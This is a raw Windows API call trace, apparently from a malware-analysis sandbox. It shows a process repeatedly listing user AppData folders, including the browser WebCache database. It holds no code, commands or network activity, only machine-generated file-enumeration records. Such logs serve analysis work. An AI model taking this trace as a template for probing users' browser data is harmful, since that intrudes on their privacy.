lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.580] FindClose (in: hFindFile=0x1d1f4bd0 | out: hFindFile=0x1d1f4bd0) returned 1 [0219.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0219.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0219.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0219.580] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\UPPS", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\UPPS", lpFilePart=0x0) returned 0x3a [0219.580] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\UPPS\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\upps\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f5ae5bb, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf24b0fc0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf24b0fc0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f43f0 [0219.580] FindNextFileW (in: hFindFile=0x1d1f43f0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f5ae5bb, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf24b0fc0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf24b0fc0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.581] FindNextFileW (in: hFindFile=0x1d1f43f0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf24b0fc0, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xf24b0fc0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf24b0fc0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x3f14, dwReserved0=0x0, dwReserved1=0x0, cFileName="UPPS.bin", cAlternateFileName="")) returned 1 [0219.581] FindNextFileW (in: hFindFile=0x1d1f43f0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf24b0fc0, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xf24b0fc0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf24b0fc0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x3f14, dwReserved0=0x0, dwReserved1=0x0, cFileName="UPPS.bin", cAlternateFileName="")) returned 0 [0219.581] FindClose (in: hFindFile=0x1d1f43f0 | out: hFindFile=0x1d1f43f0) returned 1 [0219.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0219.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0219.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0219.581] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache", lpFilePart=0x0) returned 0x3e [0219.581] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3f28d414, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x26a0bace, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x26a0bace, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f52f0 [0219.582] FindNextFileW (in: hFindFile=0x1d1f52f0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3f28d414, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x26a0bace, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x26a0bace, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.582] FindNextFileW (in: hFindFile=0x1d1f52f0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43a75b6d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43a75b6d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3e15948f, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01.chk", cAlternateFileName="")) returned 1 [0219.582] FindNextFileW (in: hFindFile=0x1d1f52f0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x438f835d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x438f835d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x372c3fff, ftLastWriteTime.dwHighDateTime=0x1d9775f, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01.log", cAlternateFileName="")) returned 1 [0219.582] FindNextFileW (in: hFindFile=0x1d1f52f0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x438f835d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x438f835d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x26a0bace, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V0100007.log", cAlternateFileName="")) returned 1 [0219.582] FindNextFileW (in: hFindFile=0x1d1f52f0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43a0363d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43a0363d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43a75b6d, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01res00001.jrs", cAlternateFileName="V01RES~1.JRS")) returned 1 [0219.582] FindNextFileW (in: hFindFile=0x1d1f52f0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43a75b6d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43a75b6d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43a75b6d, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01res00002.jrs", cAlternateFileName="V01RES~2.JRS")) returned 1 [0219.583] FindNextFileW (in: hFindFile=0x1d1f52f0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x438f835d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x440ceb34, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x15b9429d, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01tmp.log", cAlternateFileName="")) returned 1 [0219.583] FindNextFileW (in: hFindFile=0x1d1f52f0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43ae82a9, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43ae82a9, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x2c7d25b3, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x1980000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebCacheV01.dat", cAlternateFileName="WEBCAC~1.DAT")) returned 1 [0219.583] FindNextFileW (in: hFindFile=0x1d1f52f0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.583] FindClose (in: hFindFile=0x1d1f52f0 | out: hFindFile=0x1d1f52f0) returned 1 [0219.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0219.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0219.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0219.583] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache", lpFilePart=0x0) returned 0x3e [0219.583] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3f28d414, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x26a0bace, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x26a0bace, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f50b0 [0219.584] FindNextFileW (in: hFindFile=0x1d1f50b0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3f28d414, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x26a0bace, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x26a0bace, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.584] FindNextFileW (in: hFindFile=0x1d1f50b0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43a75b6d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43a75b6d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3e15948f, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01.chk", cAlternateFileName="")) returned 1 [0219.584] FindNextFileW (in: hFindFile=0x1d1f50b0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x438f835d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x438f835d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x372c3fff, ftLastWriteTime.dwHighDateTime=0x1d9775f, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01.log", cAlternateFileName="")) returned 1 [0219.584] FindNextFileW (in: hFindFile=0x1d1f50b0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x438f835d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x438f835d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x26a0bace, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V0100007.log", cAlternateFileName="")) returned 1 [0219.584] FindNextFileW (in: hFindFile=0x1d1f50b0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43a0363d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43a0363d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43a75b6d, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01res00001.jrs", cAlternateFileName="V01RES~1.JRS")) returned 1 [0219.584] FindNextFileW (in: hFindFile=0x1d1f50b0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43a75b6d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43a75b6d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43a75b6d, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01res00002.jrs", cAlternateFileName="V01RES~2.JRS")) returned 1 [0219.585] FindNextFileW (in: hFindFile=0x1d1f50b0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x438f835d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x440ceb34, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x15b9429d, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="V01tmp.log", cAlternateFileName="")) returned 1 [0219.585] FindNextFileW (in: hFindFile=0x1d1f50b0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43ae82a9, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43ae82a9, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x2c7d25b3, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x1980000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebCacheV01.dat", cAlternateFileName="WEBCAC~1.DAT")) returned 1 [0219.585] FindNextFileW (in: hFindFile=0x1d1f50b0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43ae82a9, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43ae82a9, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x2c7d25b3, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x1980000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebCacheV01.dat", cAlternateFileName="WEBCAC~1.DAT")) returned 0 [0219.585] FindClose (in: hFindFile=0x1d1f50b0 | out: hFindFile=0x1d1f50b0) returned 1 [0219.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0219.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0219.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0219.585] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX", lpFilePart=0x0) returned 0x3a [0219.586] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\winx\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5350 [0219.586] FindNextFileW (in: hFindFile=0x1d1f5350, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.586] FindNextFileW (in: hFindFile=0x1d1f5350, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d1d13ee, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf686326, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group1", cAlternateFileName="")) returned 1 [0219.586] FindNextFileW (in: hFindFile=0x1d1f5350, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d1ab059, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group2", cAlternateFileName="")) returned 1 [0219.586] FindNextFileW (in: hFindFile=0x1d1f5350, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group3", cAlternateFileName="")) returned 1 [0219.587] FindNextFileW (in: hFindFile=0x1d1f5350, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group3", cAlternateFileName="")) returned 0 [0219.657] FindClose (in: hFindFile=0x1d1f5350 | out: hFindFile=0x1d1f5350) returned 1 [0219.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0219.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0219.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0219.657] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX", lpFilePart=0x0) returned 0x3a [0219.657] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\winx\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4570 [0219.657] FindNextFileW (in: hFindFile=0x1d1f4570, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.658] FindNextFileW (in: hFindFile=0x1d1f4570, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d1d13ee, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf686326, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group1", cAlternateFileName="")) returned 1 [0219.658] FindNextFileW (in: hFindFile=0x1d1f4570, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d1ab059, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group2", cAlternateFileName="")) returned 1 [0219.658] FindNextFileW (in: hFindFile=0x1d1f4570, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group3", cAlternateFileName="")) returned 1 [0219.658] FindNextFileW (in: hFindFile=0x1d1f4570, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.658] FindClose (in: hFindFile=0x1d1f4570 | out: hFindFile=0x1d1f4570) returned 1 [0219.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0219.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0219.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9bc60) returned 1 [0219.659] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1", nBufferLength=0x105, lpBuffer=0x1dc9b740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1", lpFilePart=0x0) returned 0x41 [0219.659] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\winx\\group1\\*"), lpFindFileData=0x1dc9b970 | out: lpFindFileData=0x1dc9b970*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d1d13ee, ftLastAccessTime.dwHighDateTime=0x1d70068, 